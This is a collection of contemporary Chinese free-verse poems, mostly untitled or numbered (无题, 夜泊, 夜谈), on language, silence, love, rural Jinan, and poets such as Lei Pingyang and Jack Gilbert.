《女人》 守着一个馒头的男人和女人。 沉默，语言在下 在下面可是水，水泊了。会有 湮灭人的故事，古代史中很多悲惨的 回旋的声音。 水下应当出于对人的道德感 而言，应当终生囚禁着一种仅能凭借着声音的 无力和姿状。 所以你我永远都在岸上，馒头永远 都是我们所需要到达的终点。 沉默，语言在下 移动，语言还是在下面。 伐木，生火，洗衣做饭是生出了花朵。 你是个女子，花朵应该在夜里，应该 走进夜里的高空。 中间，中间有一些停顿，蒸馏的雾气之中 我想和你生儿育女。 爱情。。 《中国人的爱情》 罪恶，要让罪恶更深。 让女人无辜 女人便一生都复述她们的无辜。 让爱， 同时于罪恶发生 一个男子。一个女子 同样的思索者和思索到了 思索徒劳无功之后 以行代言。 两个人的爱情是如此的寂静和沉默。 蜡烛已经燃烧着语言了， 我唯一能见到的风景 是那个与我一同穿过茫茫黑夜却看不清模样的女子。 悬空寺 《悬空寺》 悬空寺的肿瘤， 需要有人住进去待解。 有人需要走在， 时间，历史，乃至于文化之后会作为回声 而之前一根根如琴弦 弹奏、踩踏而出的音乐声上 住进去。 一个是僧侣， 另一个是他，对自己持有怀疑 笃信自己是一个医者。 笃信中面见于人而愈加的笃信， 我所见 在僧侣口里永恒回荡着，结茧的 医者正是他本人的重复念白。 万松寺。 《万松寺》 为什么不可以把水称作， 坠落的终点。称作因语言上的命定 和准确判断。在人的身旁 便由水之中生出 欲拖拽回自己终不能的水花。 为什么不直接去到山顶， 一个高度。 为一个高度就已经足够了。日暮乃结束 肇事者余兴未了。从那里，从万松寺一阵不甘的搅扰那里 探问循环和轮回，向下 投下了一枚松果。 松果它落在了山脚的水洼里，水花四散。 无题。，。。。 《无题》 语言， 如今是被当做了干旱的语言 面见，等待一场及时雨。 矛盾的声音， 冲突的声音起先出处于内部 自身的撞击。在语言之中，也是沉默着的 往前，往自身更走了一步。 我以为天空会落下衡量进而诉说无尽头的标尺 对应于一场地上植物繁茂 从那些虚妄之中，各自以其嫩绿的叶子抵抗着的 叫做小草。 睡了 《睡了》 或许在无声的夜，夏虫睡了。 睡是忘记了自己的名字。忘了自己 叫什么，是谁，来自哪里。 它随便找了一个地方就趴了下来 入梦，在梦中。又把自己的名字 给找了回来。 无题66 无题 《无题》 让语言和文字全是石头， 不仅仅只表示冬季。 而今它们全部的聚集，纸张的方格与条框里面 起先。即使只是一些潦草，焦虑的书写。 我猜疑古老的传统都最终落到了钻木取火上面 我要猜疑的是一场意外 食物丰盛，人乐此不疲，火花四溅 纯属于一场装饰。 有一个与此相似的夜晚 我在那几千万个相似的日日夜夜的 某一个夜晚的前面 具体的书写时，我觉得我无法走得了那么远 走在大多无意义之中，有一个落脚点。 无题111 《无题》 可能我会吃空明天 里面全部的饮食。 我不好，不乐意展示 自己在食物静止而唯有， 除被饮食时才有的颠倒。 食物顺应着语言，契合且有光泽 即使为了把那最后的一点点吞进肚子里 像我现在所有突然的急迫。对于饮食 我有着难以遏制的欲望。 花开 《花开》 有一次花开， 那么，许多次的花开 在我看来多么可疑。可疑的语言 我认为需要 不仅仅确定，还有我单薄的身体。 救火员， 嘴里吐出白雾 面对极为短瞬的事情时，那些 因此被盖棺论定的， 往往 一朵花是一团火焰。山坡上面 正在蔓延的火场，越过了沟壑 向一朵花，向人们，向我 岌岌可危的语言。 乌篷， 《乌篷》 飘在河道上与月亮无疑， 同样也移动缓慢。 岸上那个人儿在迷离和难区分中无法挣脱 它正从灰褐色走向一种皎洁之白，两耳不闻窗外事 无题。，。。 无题 《无题》 可被言说，但距离你这个羞涩的人儿 尚且遥远。 我不清楚我会不会去那里，会不会 我只是信心于开端，你无限又无穷旋转 如纸扇。停在了哪里 我也不会再让一个人，很多年前，曾心怀惶恐的 从隔壁村庄，在夜色沉沉不见五指时分 独自越过山岭返回家再次的发生。 有一些隐秘似乎与此雷同， 在表述上则每每，伴着挖掘之姿而略带有怀念。 我不会使得我被语言一直左右的实情停了下来 不会心想，事成于一面镜子 由冰冻的河面组成，反光性很差 却因此，我说我走到了另一边，我看到了我自己。 无题000 《无题》 如果世界上只有我自己， 人们睡了。世界只是 从斑驳停泊处， 到可望见，这一丁点地方。 我只能肤浅的理解，支撑起世界梦幻的那一部分。 梦里的人儿梦到回还，我想到的 是由一个个它们 组成了世界空洞的柱子 操持着陈旧语言，语言依然在言说着 我的贫乏，肤浅 无题，。， 无题 《无题》 心儿，用一个可以代表众多。 它呼应于那些世间最为微小的实体。 在小之中，如果你比我还要 心生厌倦，倍感无力。 比一朵很容易被摘下的花朵 美丽还要小。即使，这并不是它最好的 安身处世之处。我们难以察觉的态度 对此并不反驳， 一个声音说，这样我们自身就受到了重视 被我们长久等待的，云朵的阴影终于来到了。 我不能在众多语言之中，反驳实则只会反映的，是我自己的贫乏和无知。 那里还有人影，手掌伸出。 心儿始终不能平静，又不是在平静之中 才是那个被人们长久寻找的最小实体 当它，华光般的浮现，进入 次要的问题也不是它逝去短暂， 人们已掌握一种，可以更多决定自己是谁的方法了。 放松 放松 《放松》 是什么，使我的身体漂浮 游弋在鱼群消失之后的机井。 是什么样子的语言如此脆弱，它有着 因此被命定了的宿命是落在水面。 是否你也沉寂如四下无人时的旷野 便能听到，那个疑问 是什么它的永恒回荡或者说，它因此与人的关系 更大于倾听。 落于水者略过了他溺水的过程 拯救的过程我从未曾真正的理解，里面 多半有我一生言谈和谈起里面，涉及它们 只存在于山谷的回声。 有一口机井。 但它可以淹没所有言说的语言，如果我是那个 肤浅又不能放松的言说者 我已经忘了除了黝黑又一口， 人会被吸入的无底深渊。其他的还剩下什么。 你001 你 《你》 我在这里，又好像并不在这里。 我不在南方，又好像一直都在了南方。 两个地方，最低最低的荣光 将二者相连的是说出的声音。是话语时 我应该能看见 风铃或百合花， 我走过去了。在你，人儿正怀念逝去的青春之时。 舒伯特 舒伯特 《舒伯特》 本身就是音乐， 舒伯特。何况他又弹奏了小夜曲。 傍晚。。， 敲木， 敲木的里面的时间。 敲你走来时候，我已经不需要 用我笨拙的语言 和肤浅的来表达了。我走向 雨水过了以后 劳作里面会发出的点点闪光。同样是一些 很普通的事物。就像你走来 需要花费时间，也有着长长的回声。 无题002 无题 《无题》 或许我道出的，是虚假 词与物的关系。 或许明天我就会在了另外一个地方。 没有原因，也不需要理由。 没有我时，甚至为某一破碎所提供 它应介乎于真实和虚幻之间，另外是破碎及走出来时难免弄出的声响。 词的破碎里，就是从那里，从那里 昏乱 昏乱 《昏乱》 人死了， 但我觉得人死了是相对于现在的发生 而言的很大 一个动词的涨破，已经有一个答案 它含蓄，也愤懑，乃至于遗言中 将人们也提及了 它回答了它自己，以涨破的方式 回声和声音则属于，被我们所听见 被我，在需要在我们之中才有了 以我是什么而可以回答的我是谁。 回声不断地在回声之中回荡，它也以本来就属于自然的部分 避开了词与词的重复。我还活着，我觉得 活就是冗余，难免又需要一开始就铺垫，为无辜。 所以我的繁多总是，空空的到处，和到处都能遇见我自己。 人死了。这在折弯之前发生，非常短暂。 即使它并不是要以消逝而言。 无题003 无题 《无题》 长江干流与支流，样子就像 一串被串起来的糖葫芦。 复杂，密集 多变的，不只是河流，河流怀抱流水里面 有人。 落在声音的尾部，做着企图数清每一条 支流的打算。我相信没有人会最终实现它 答案分明，居住里饮食寂静 人们在饮食一片红，里面的酸。 解构 解构 《解构》 当我们，哲学家。谈起从a到b时 他们说了什么。 这是个看似漫长的过程，对人而言 他也还有着其他的任务。 证实、一番恳切诉说后走来、 像平常一样。天气晴朗，空气清新 他，一个落在概念里面移动完美的符号。 梁柱的身体和曲线的外形并不会惧怕太多的 压力。 我们总是想，我们也担心 人们会凭借某些很是自然的，来自生活的理由 向我们发起了诘问，意欲勾引他陷入另一场谜团 或者把这一场长久悬而未决的思索，推向迷途。 所以，极为不重要的划分是，晴朗，绿色的草地 乃至行走的脚步的平缓，心思的不曾多想（尽管这在之后会被证明是多么的重要，而美妙的事情在于，重要总是源自于被自然而然的忽略） 那么，我也许真的需要准备一下，澄清自己的困惑。 因这个符号般例子中的人儿，他或者它并不是主角 陷于相比悲痛而倾斜才更为准确，道德的斜坡。 从a到b，或者一些他用了他一生都无法去证实的东西 这容易引起了困惑吗，在哲学上面。 这难道不是说，碰杯者的哲学家们，聚会于酒馆 只有杯子，却不见啤酒。 怜悯生发，道德生发，或只是一种 需要被控制，语言含蓄，带有弥补的紧随其后，观望着 天然的试图伸出手相助的意图呢。如果 这些多余的语言确确实实占据了人焦虑的很大部分 即使看似应提供出其实不需反驳的陈词。我意图继续下行 刚刚，澄清的脉络早已消失不见。 书写消失不见了，这是另一条，仿佛事件发生之后，被提供出来的路径 有人道别，要回家，路 是以前的乡村泥巴土路。语言，也需要那种 星月伴着的点点光亮，它的统一性需要一些 对眼睛和看而言的星火。 我在有屋檐，影子影影绰绰的地方思索。 思索还是思索实则早已经变作了一种回忆的困难和 回忆的阻碍。 从a到b，如果最极端的情况就是， 一个人儿他从未曾知道过，也更不要提，他到过什么大海。 我这样拍打，让书的边缘向一个地方对齐。那么 对那个从未曾言说一种大海式语言的人，赋予 某种仿佛出自他内心的渴望一般的东西给他是否合适。 我们是否在后形而上学那里 对于开始和结束，对于事情 或者对于只是我们的应对之策，生命 一直在诘问。围观者磕着瓜子，轻浮的语言，夹杂美丽光线的笑声 生命便一次次与哲学发生着冲突呢。 承认自我已经偏离了轨道，含混如暮色。 那可是一些哲学问题太过无趣后的黄昏，如果不得放松 我排列石头，石头里面的声响 这些多出的事物，我失败的，即使以可被调整哲学一般的 思索来应对的，那贫乏它便铺展开来了时。 六月001 六月 《六月》 六月， 在自己体内劈开，藏起斧头的事情极其短暂。 山惧怕无云的晴朗，河道 惧怕干枯。 一次次试着说出自己的错误 在一些轻中呈现它们的那个人 转过身去。声音嗡嗡的 我看不清模样。 无题004 《无题》 有什么东西正从我的身体里退去 一种对话，要是有所留下 遗留也算是某种留时，我仍然记得那情景 一边是欲望，渴望 内心包裹之下也还有许许多多的疲倦，压抑 我能想象风雪或者风雪面对人的想象与杜撰之时 便刮了起来 落下的非常寂静，引人迷惑的通道感，要人 要是在上面走走该多好 时日一变，仿佛就是我在思索当时和过去了 无题005 无题 《无题》 让我如今陷落空谷 前面和后面。 不是戈壁， 野蛮的某种向下的力量。不是 寂寂无人，另一等待命名之地 我也不为饥饿和恐惧而孤独。 不会再有属于我的信件到来 我的女人是山谷里面，斜坡上面的那朵花 当我向它走去，呵，山谷它也如此的漫长。 无题006 《无题》 雪落之前，我们都在等雪 语言和文字 文字里有间隙的，栅栏一般，隔开 用透明的无形丝线牵连 不是语言再沉默里面，出于对话或者反驳的 需要而出现的那种情形。 也没有雪，来时，况且它第一次来时 带着事先被知晓在了因果里面的那种情况。 我一下子又被这种贫乏和紧张，文字 被想象时新的囚笼好像是要一个人儿， 体验一下新的不同的牢狱之灾。雪花 覆盖了多么普普通通的一件件事物呢 普通之中有一种具体， 对于具体，耳目闭塞的人儿，我却始终无法 静下心来，面对和倾听。 无题007 无题007 《无题007》 淤积在它那里，在那里淤积 那个早已经逝去，作者早早知晓了自己的命运 书写，里面他关心另外一种 像月光总是每天晚上， 透过窗户把光亮投射进来。 倾斜，适合于阅读，独处。悲悯是特别奢侈的一件事情。 没准，一首诗里涉及的，人物 描述的从a到b。 尺规，反差，中间跨越越来越大。 适宜的文字写适宜的诗歌应该属于别的什么旁白 或根本上，诗人有所骨气 给予那些寂寥如今日，寒冷独缺的 季节，以高天月圆。 呵气成霜。我在阅读分界线的这一侧。是我 分明借于月光，又对于文字，施加了 一切皆焦急，简单。可匆忙的略过。 我知道也没什么命运，更高的命运般的事物 只是人处在了一种始终不得平静中 未来难不成属于回返，而我正坐在 自己把自己等待，把自己畅享的位置不成。 庸俗之人不光翻来了一本诗集， 不光是已经不得放松，一半已被阅读 不光是书始终明确无误，来自大洋彼岸，来自一个 同样一生颠沛流离的作者。 来自与荒野之中，某个在经历了许多个 女人和性爱，对爱的悲悯之中，某种其实 在此之间被夹杂的短暂的孤独。 总是涉及到东方， 我感觉有一块石头压着我。他所写 文中月亮在亚利桑那的某个乡间小路的孤冷 与我更近一些。 语言，。 《语言》 语言不属于我。 属于大地，田野，村庄 和城市。确实直到我去到了城市 汽车戛然而止前 语言，它自己在说着的情形， 我说话时的情形，就是这个。 无题008 《无题008》 升温， 升温所面临的恰恰是不断的升温。 更多是在我的唇上，如水一般 可能是出于难免，才更需要提防 沸腾。沸腾我一直不清楚它跳跃的距离 在之外，在内。它没有寂静的时刻。 我每条路都每天，每时每刻 时间被忽视才因此提起，作为标记的地方 都重复了好几次吗。比如 一首我确信溜走了的诗，一首诗歌拒绝书写沸腾 语言不详，内外有别。 难道是记录形成某件事，而对于记录的 在声音里面和在记录之中的诗歌一般的形式 它分出别的路径。白雾蒸腾里有一张脸庞 语言，自我提醒一直都是处在 因此总是失败的频率上。有时候我也嫌弃 自己的恐惧而转嫁于 之后倒完水后会阅读起的一首诗歌。我什么都没有听见 除了一颗心被煮沸了。因为拯救 陈嘉映 《陈嘉映》 慢慢的放松下来，写诗 奥，我已经进城，如此的靠近一朵玫瑰。 它的刺与我骨骼，语言里面充满了 无重力的词语，此时代表着美好。 我无法修复好一个时时刻刻紧张，恐惧的 ————旧墙壁，甚至在抡起锤子，我也是第一次知道了 原来撞击的声音如宇宙再次的起源。 我想起了那个陈性的哲学家，美丽的赞许 思索后我发现藏着隐喻。每日都工作于，靠近那个 银白色，纤细，呵，纤细如此具有弹性 使你工作于一种语言的发散，你，一个老者 我去见你扑了个空。我的无知与农民的肤浅 是否可以在一些富有弹性，提供给我视觉上美丽之处 求得一席之地。哲学上有些接触后变有些归属和领地意识的人儿 诗歌上的门外汉，你在屋子里面，我都忘了要说什么。 疲倦也能被分解吗。就在我的兜里面装着。 无题009 《无题009》 一颗颗石头砸下，是对于读者。 一颗颗石头搬来，堆放和垒好。是对于作者 是对于雷平阳 任何一丝丝多余的不诚实添加 那个诗人群体，他们 诞生自六十年代里面某个传统的共同前进，而言时 一次喘着粗气的呼吸被二者瓜分时 鹬蚌相争的背景，书写者本身的悲悯，更何况 在一切都极其轻微。不重要里面 依然是群体性，无力和缄默之外的另一种 无力。————我呼唤他，应放松下来的生灵 戏曲的呼唤。 无题010 《无题010》 在陶罐里 应付的不只昨天和现在的 语言。语言有另外一种充满怀旧色彩的情形 它起的突然，并为此自感弥足珍贵。 当从这些珍重里面，狭小的缝隙遗漏下 天光。 以明亮之姿 使我沉默，遮去大半。 无题011 无题011 《无题011》 在陶罐里面的腹部 就像首先盛放的语言多于水 多于难言之隐，或一位欲言又止的人儿 她退了回去。 或许以后是，也会多于一种 特别清贫的简洁。 而今天的一切都只是在畅享它，模仿它。 一种贫苦怎可能被模仿呢 我清了清嗓子里面命运一般的痰，喘口气 拿出剪刀。像是在罐口处的位置上 有一种特别形象密封存在。 夜谈001 《夜谈001》 我觉得远是个可疑的概念 当我靠近一朵花 佛说一花一世界。 我沉浸了下来，放松了下来，全然忘我 远只存在于一种声音，在人的疑问之中存在 ——反而，是远在不断的到来 甚至不断的敲打。以期近处有所回应 也指涉于生命，生命本身的世界性问题。 无题012 无题012 《无题012》 这是镜子里的风景， 唯一使我与它发生关联，是我刚刚从 镜子里面走出来。 你的沉默应对的事物有这么多 而我仅仅能思索和恐惧于放松，枯枝 断裂，在你来时路上，希望可以搅动虚幻。 成为沉默的那个理由。在这之前 之后的属于沉默。 无题013 《无题013》 奇妙的一个词，让人期待 一个词诞生于虚无。 摊开来的书籍，在书籍的正上方 一面镜子或者一片积雨云存在，但已经是 与傍晚的阅读时间呼应，打雷和下雨的时间。 在白纸上黑白才可更好的形成对比， 才可以使得白，普遍，人们便常常问起了 那个问题是，为什么纸张白色，之后泛黄。 干脆一把火烧点访客寒暄之后离去的地方 无家可归，或者怎么你我就成了那个访客 如今他之后的命运，此时此刻在阅读的室内。 纸张撑开一片空间，怀旧的老玩意，常常带着 无意义又出于对停顿和放松的害怕。 我依然怀念那个恐惧最为极端的时刻，此刻 就像列车脱离轨道，又仅仅存在于梦一般 本质的文字里面。 死亡之后长眠者们穿越了回来，写字 书写，向生索要，形成了书。我却不得安宁。 诗人马雁 《诗人马雁》 死的偶然在偶然中 完成了向诗人的跨越。在上海， 大的。为了应对于偶然之中的每一种 即使我并不能这么去说。 无题015 无题015 《无题015》 忽然，我觉得。赤裸是 因为我们需要拿回那些本属于我们自己的 东西。需要大海我们才可以 脱下我们的衣服。 光明正大的。生命伸向某种蔚蓝色虚空 无题016 《无题016》 我平静，并非我使得平静多疑。 没什么，没什么从那里出来。没什么门和空空走廊的 同样多疑。补充道。 我不会为一点点粮食而献身，没到那个时候 只是我从田间回来。如果我把意图放松下来 这件事情视作某种以小事而与耕作 接着耕作中的偷懒一体呢。 总一下子一下子，你与我一样的无意义于 此旋转。问题里面的一颗恒星，发光问题的内容是人们问起了为何不可以在公路外边走 ————我也没什么办法，这多半就是发生在我身上的时间了。 无题017 《无题017》 空还没有到达粮食， 在这之前还没有到达，就算算上中途的 歇脚和停顿。出于我自己的意愿 还没有到达肉体的枯竭。 支撑起仅仅包裹在骨头上的，像树枝中选择那些 平直和牢靠。要用最为稳固的方法 旧并不代表一定会落后。 我还没有到达一次因饮食而到达饮食 马匹嘶吼，虫鸟齐鸣，尽是些实则无辜的声音。 隔着大洋彼岸的美国诗人 杰克吉尔伯特，不仅仅给中国的南方诗人雷平阳 一种多半似是而非可能性的提出。可 谁又爱看男人们的脱衣舞会呢。他写的很有哲理性 最终我是不会懂的，最开始于一种一辈子的不可理解 他也曾经去过欧罗巴，意大利的少女和产妇们的多情 驱赶有些不服输的劲头，有个四千年左右造化了。 夜谈002 《夜谈002》 我和我们，对于哲学和诗歌的不理解。 就像戏曲与诗歌的彼此不同那样子。 无题018 《无题018》 我爱你呀， 这句话包括了全部的彗星，空间 我能想到的一切 是否，也可以包括 你看我也这个对着空气和呼吸来表演溺水者 窘迫和恐惧形状的人。我也能按压下 错误的词语，它们终止于水面漂浮一般上面的 水草————在声音里。 在我爱你里。 露易丝格里克 《露易丝格里克》 书中藏满了星空。 多么美好，你只需要把它打开来 济南。，， 《济南》 土是什么，我想指给你看。 竟能抛开城市，和那个城市里买房的返乡者。 从山东到济南，济南到长清 再从长清到双泉镇 景物越来越粗糙，富有了颗粒感 一路到达了某个不为人知 人们也不曾知道，他们所厌弃到底是什么的地方 不是我没有垂下双手 没有人再继续用他们年轻的岁月和肉体 分担土地的倦怠。 压在土地上的问题，土是什么 我也不知道何意，回溯自己的存在史 耕作偷懒，对土地表面化理解，甚至 如今渴望用一首无聊的诗歌，土的名义来 想当然得回答。 那时候人们穷，吃不起饭， 五六个穿的像要饭的一样的老乡，聚在一起 商量着， 该如何取出土地深处的那个灯盏 济南002 《济南002》 具体在具体之中，更多的具体在具体的具体中。 如今我回想这少年时的一切，狗冲着 一种自己的贫乏，肤浅和无知狂吠了几十年。 没有停顿的时刻，渐渐 成了村庄的标记是一有人来，汪汪的叫声 就远远传来。打断了我的记忆 使它成了另一件事或， 这一件早已在更早之前就是一切迷惑的 坚实的基底。 我曾想仿着水潭模样，思索是往里面 形象的投两颗眼睛。 锥心刺骨的人跑了，跑到了很远很远的地方 跑成了子孙后代之中刚过了第一轮 自己儿子的降生，长大，接着书写道 书写困难必然也就是在书写命运。 我同样正想用一个大的土地辽阔这个词语 来试着规避和侥幸。 每个人都记忆都模糊了， 不知道除了能收获点什么，具体在具体的具体之中 听起来像一种回声。 济南003 《济南003》 王老太今年七十岁 褶皱爬满了她的脸庞。 她没读过什么书，不懂我对她说的 生命与时间的等价交换是什么意思。 于是她把脸凑了过来，靠近我 我的眼里突然就有了一片开裂的 极渴望雨水的黄土地。 她不明白什么是等价交换。 禅坐 《禅坐》 在快要入睡之前走回来 悄无声息的走回来，不惊醒 那副昏昏欲睡的身体。 看看他，再看看你自己。 这禅坐的意义。 无题019 《无题019》 别这样，像是我的妻子。 七点一十五刻，还带着一点点的 东方的传统，或者就是覆盖在它的最后的形式 上面。我不能， 简化的危险事关一只马匹从我的话中跑了出去。 也不能这个样子的回来，生活本身就是 使我不善于叙述，放弃的是别的什么。 我绝不相信人衰老的证明，在于有舍有得 焉知非福。 无题020 《无题020》 在桂花下，我捧着你的脸 桂花。并不是这条小街的名字 甚至我比当地人还要熟知， 一条街道名字由来的历史。 我不讲由来内部关联，不会有一种 惊异。像只有船票水涨船高了 才能压平渡轮航行的稳定。 好像我也已经解释了远，我的渺小。 接下来我要去到江上，转过身来 重新和再次，奔向你。 无题021 《无题021》 在文字的蛮荒中有一把尺子，也恰好是蛮荒。 也恰好是你 那么你接下来的动作便是可疑 我们早已经度量过事物，错误来自于 度量一种生长。 类似于敲门声，生长 又把闯入包含。 济南004 《济南004》 呈现给我，是影印版难免的白 泛白里面灰色的点状和条状。 即使这并不是一本书籍最终的形式和外观。 它也仍然面临着一场漫长的考验。在脱离原着后 精美的装订，舒适的手感已经逝去 对于对文字的紧紧持握和怀抱 我觉得它更甚于原本。 我这个读着只代表着不到中途雷霆就降下 是死是活。 它静静的摆在那里。知晓但无法确定 相比于等待的漫长， 会有哪一个人突然的站了出来 将并非正统的身份，揭露和斥责。 远远遁离者那里，所以我通过网络购买这本 《悬崖上的沉默》时 一再强调了自己的无辜，同样的观点，他也隐晦的表示 并非出于对律法的漠视， 而是对于如何调整内心深处普世情怀与规则的关系 让他陷入了陷入了居无定所的两难。 形同于人从不曾真正的孤独。 在我尝试坦诚我只是一个从未深入过土壤的农民之时， 我所追求越来越是一种渺小。我觉得首先 当下的时代、律法和道德感 乃至于在首先应当满足于自己的丰盈那里 在后面，才有了戏曲的缓缓启幕 夜谈004 夜谈004 《夜谈004》 所以，最为轻浮的语言 常常披着最为严肃的外观。 自我审视和吃 或在饮食之后，才自我审视 情形，是有关于最细腻 是什么的问题。 即使我知道一些反问， 和此刻我自我的鲜活感觉。我觉得 在炉火中有着最后的战争 燃烧在永不会熄灭的主题上才得以发生。 这里是望乡所在处，同样焦闷 所投出乃是会错误于邮差，虚空中的 大雪处，弄作了千古悬疑。 无题022 《无题022》 石头没有两边 但会有立在空中的情形。 它倾向于在眼睛和 脑海里面的大。向着更大一些的 某个趋势。 我刹不住我的语言，因此我知道 语言无辜，再往里面 有着无辜的情形 迷离。需要以石头的粗糙来作为终止符。 我并不怀念，我怕 它们会毁掉彼岸的观点。 夜谈005 《夜谈005》 凭借一个多变的女人成为自己， 女人也会走向南方。 在复杂的女性群体里面 划桨，乘船，暮色时分 一一都缺乏一种具体。 更缺乏的是一种使得她们因此才沉默的 诚实和勇敢。 所以，在一番对话后她或者她们 纷纷离去。我想起了 那柔情的部分曾只是给予梨花般的 脸庞。早已洞悉了应对粗糙也不过如此的 是人们天然的心性。 但当船行到中途，水面上波光粼粼时 令人忧愁的却是些别的什么。 无题023 《无题023》 生长之后是结果 结果也可以略过。其实 一株植物。生长之后会面临死亡。 我唯一的不同是我比它们要慢上一些。 不知是它还是我，那个见证人 或那个信使。 在它刚刚破土而出幼苗时期我就开始 畅想它去往死亡另一面的情景。 观察它如此不可见，微小的生长部分时 像一个写信之人，许许多多人能找得到载体 是地上有许多的青草 茉莉 《茉莉》 我想知道该往那个地方走， 如何的走。 迷路了，然后又把迷途称作白色。 我指的就是这个。 在我面前有一片 花圃。花朵很多 和谐在于，并不是对于其中的某一个 进行着围剿， 繁多的意义也不需要再经过 一双手的整理和剪裁。 我多希望花农不在， 在迷了路的花海中说话和问询。 像很久以前的人们同样迷了路， 最后，在南方还是选择定居下来，种植。 夜谈006 《夜谈006》 他们要很久 才有那种可能去听完，一句冗余的道白。 我也一样，傍晚 当我站在这座特殊的墓碑前面。 人群熙熙攘攘。想到了 一句话可能需要几十年，几百年 甚至几千年在历史中也算不得什么 时。想到你的沉默，地位的愈发卑微 爱意的愈发浓烈和炽热。 对于爱的付出。对于等待 我忽然放松了下来，一切普通 你应当熟悉和习惯于这种普通。 苏小小001 《苏小小001》 好像她有什么要说的。 听听。听听再走吧 夜泊001 《夜泊 001》 我并不习惯水的里面 如人的脸庞一样，突然上涨。 含有一种新的措辞，或者旧的。 匆匆赶来又能保持某种沉默和平静。 只消时间再更长一些，你从你的欲望 所驱使下对的食物和肉类的渴望， 对于女子总言说一种欢喜的肤浅。 那里，新的波光粼粼。 在你记忆变得模糊之前， 一片嘴唇把她的红色深入了水里， 会迎上你，语言尽失。 夜泊002 《夜泊002》 雪呀， 里面是火。也在 我的房子里面发生。 发生的语言就像是 跌落的过程逃不过自己 生命和生活的贫乏。 贫瘠，肤浅 我知道推开窗，天空会有星光 还没有说完的话上面，结了一层冰霜。 夜泊003 《夜泊003》 往石头里，深处打出了 活的。努力一直都在 星星升起了，年的克服 那里，或者取来了水 意思是说，就在那里啊 替我强调吧。 你，人儿。像注定要枯竭 而内心的宁静 寂静里你走向，彼端到此端 以此作为换取。 夜泊004 《夜泊004》 我和我的贫乏，一路 往下面去的时候。我看到 被我称作错误的那个东西，那个包裹 里面。 有城市，有南京城 有里面的女子和一辆辆汽车。 错误的理由，我看到了同样的错误 是为了规避它。一辆辆的汽车 路上行驶着。 夜谈005 《夜泊005》 如今我们一同来到了人间。你和我。 为了使彼此不能通话。 被分散到了土地的各个角落。我们 一同来到了人间。你和我 我们。时间过去太久了，记忆开始衰退 有时我们聚拢会不会发生的太迟了， 只言片语后落得不欢而散。 夜泊006 《夜泊006》 这一个小地方竟有那么多条河流， 被埋葬而等待挖掘出来，那些不再沉默的歌声。 现在情景与以前的不同之处 桦树，桉树，松柏涂抹上了厚厚一层浓密。 不一样了。他说。 一个当地人对于土地会误解到了何种程度呢。 他不理解我的所思所想，所误解。 他甚至听都不听， 转身扛起了锄头，叼着烟走进地里。 夜泊007 《夜泊007》 我并没有得到，得到 与之相对并不是失去。 二者，因此而后尽力相呼应于此。 看起来，许多事情看到了 目光中所包含的无辜。 用沉默的方式，我走向一棵桂花树。 如果心有侥幸，把一切对于 偶然的歪曲，出自于那些不定的心思 占据了今天的，依然是自由占了更大的部分。 谈及，忧思于时光流逝时 像那个始终难以被解释的坚硬榆木， 等我在一场行走之中，走到了某种不可分解。 或那些像是文字里面突然迸发出的花朵 又守着它们最为原本的赤裸时。 夜泊008 《夜泊008》 一些事物失去的时候， 夜晚正好降临了。 暮色笼罩，但我不会去寻找。 如果一种遗失不仅仅 曾经对应于一种书写。 而它的衰竭， 就像夜晚的步伐如此缓慢而言时。 那些无言的文字在隶属空白的纸张上面， 正有所呈现。 以及多半呈现于某种书写时的 得到和失去。 夜泊009 《夜泊009》 从不属于个人，个体 有时候我也会自我误解 当夜幕降临，什么也看不到 也没有手电筒时 我所说是黑暗里面，独自面对 黑暗而寂寞的某种风。 语言所触及，像到处都有着人的踪影 多半是破坏，风，被分割成了 一缕一缕。 有时候它们也可以轻易的穿越 从古代回来 那时候我正想一次事关久远过去的 模糊里的拯救性 行着，那风极其的微弱，无辜。 夜泊010 《夜泊010》 每天一次， 为靠近某个地方而努力。 某物，在某物中 或某物早已含有了某物的历史。 我的抒情贫乏，在门外， 敲门时我在门外。甚至注定失败。 我想起钟摆 圆盘上面指针，某物有时候就变作了我。 向着逆时针而来的错误 因此轻微的永不到达，对于我肤浅想法听闻那处。 夜泊011 《夜泊011》 时间，等同诗歌里面缓慢具体的词语。 时间上面的并不急迫， 篇章没有必然的诉求。某个人 他自己的苦闷最后诉诸诗歌， 未曾入门时。篇章上面短小 和精悍。也是他自己的喃喃自语 当他拾起的，是旷野中。路上，和文字 阅读声响里的一件兵器。锈迹斑斑。 之后该做些什么的决心，面对 事实上未曾盖过他自己，长久的虚无时。 夜泊012 《夜泊012》 静默和繁多这两条 尚未行走却已被规定了的路。 让人困难的原因并非欲望 往人自身的肉体里面，仿佛一双眼睛 它从未有过的 过多的洞察。明亮总让人想到 山涧一泓虚幻的泉水。 而我确确实实身居暗室， 原因和结果永恒停留在文字表面 有关黑暗漫长那里。 夜雨001 《夜雨001》 一些人渴了，而我 分明我就包裹在 一个告白的讯息当中。徐徐上升着 我知道，即使现在 我夺过的也绝非是属于我 也绝不会成为，当下里面的我的语言。 而那遗失的真章，只是 某个古老又缥缈声音里面某一小的部分。 重新给蜡烛添上灯油 在这新之前， 流动的事物早已屈从于一种长久， 陶罐里面，由众多粘稠的组成那里。 夜雨002 《夜雨002》 火把更轻的声音藏进了火里。 为了不被察觉， 同一时刻于那种。室内昏暗灯光下 人儿瘦弱成一副等待的心思。 它起伏不定的跳跃， 即使其中有属于它自己的部分。当这个原因 使得， 在一个炉膛里面的空间狭小。 制造火光并不是多余之事， 好像一事完成之后就自然而然的要去 做另一件事。 有什么正高举，如向标 比如，远方在燃烧的内部，迁徙则是别的什么。 夜谈013 《夜谈013》 雷平阳是沉默的， 以便于他的诗歌并不沉默。 夜泊014 《夜泊014》 文字减化为无， 减化为文字的无并不会提供出 更多的可能。 武陵人缘溪忘路中某一种感觉， 有很多种。 才使得一个人，听够了贫瘠生命里 琐碎，彼此碰撞的声音。 冬日的时候我只是在这条路的开头徘徊， 尺子只是个徒劳的象声词。为了以为万一 我还需要水，饮食在水中的发生。 为了躲避填充和修补的想象，我自己也需要 一个人儿 面临他逃跑和陈词的时候 在江水上开始有了目的的滑行时 那个入桃花源的洞口，有桃花，也有体现着 紧张的词语。 夜泊015 《夜泊015》 想个办法， 如果不能摆脱，通过语言 来言说。 就像平日里用眼睛 我们无法看透却仍然可以揣测 一颗生锈的铁球。 时间借静默而淤积，而它渴望于我们 分得到的时间里面不必有感谢和恩惠。 我们思索并不是道德感 惩戒的意识类似商业意识，说时代变迁 或者空话中唾沫星子四溅。 语言中楼房的地基令人生出了恍惚感的 那个人。白天走来，结伴 一起看铁路局铁轨上两侧的海。 我被一些白鸽吸引，确实曾意图离开陆地 